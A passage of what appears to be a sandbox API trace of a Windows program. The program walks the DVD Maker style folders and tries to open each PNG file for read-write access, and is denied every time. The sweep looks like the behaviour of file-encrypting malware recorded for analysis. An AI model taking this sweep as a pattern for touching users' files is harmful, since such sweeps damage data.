wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*") returned 56 [0104.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0104.015] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.015] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0104.015] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0104.015] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.016] GetLastError () returned 0x5 [0104.016] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0104.016] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0104.016] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.017] GetLastError () returned 0x5 [0104.017] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0104.018] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0104.018] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.018] GetLastError () returned 0x5 [0104.018] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0104.018] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0104.018] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.019] GetLastError () returned 0x5 [0104.019] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.019] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0104.019] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.019] GetLastError () returned 0x5 [0104.019] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.019] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png") returned 91 [0104.019] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.020] GetLastError () returned 0x5 [0104.020] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.020] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png") returned 86 [0104.020] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.020] GetLastError () returned 0x5 [0104.020] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.020] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png") returned 92 [0104.020] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.021] GetLastError () returned 0x5 [0104.021] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.021] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png") returned 83 [0104.021] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.021] GetLastError () returned 0x5 [0104.021] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.021] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png") returned 89 [0104.021] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.021] GetLastError () returned 0x5 [0104.021] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0104.021] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png") returned 69 [0104.022] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.022] GetLastError () returned 0x5 [0104.022] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0104.022] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0104.024] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0104.024] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles") returned 57 [0104.024] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*") returned 61 [0104.024] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0104.028] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.028] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0104.028] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png") returned 75 [0104.028] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.030] GetLastError () returned 0x5 [0104.030] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0104.030] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0104.030] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.031] GetLastError () returned 0x5 [0104.031] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0104.031] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0104.032] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.032] GetLastError () returned 0x5 [0104.032] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0104.032] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0104.032] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.032] GetLastError () returned 0x5 [0104.032] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.032] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0104.032] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.034] GetLastError () returned 0x5 [0104.034] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.034] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0104.034] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.035] GetLastError () returned 0x5 [0104.035] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.035] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png") returned 91 [0104.035] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.037] GetLastError () returned 0x5 [0104.037] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.037] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0104.037] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.038] GetLastError () returned 0x5 [0104.038] FindNextFileW (in: hFindFile=0x48c7128, 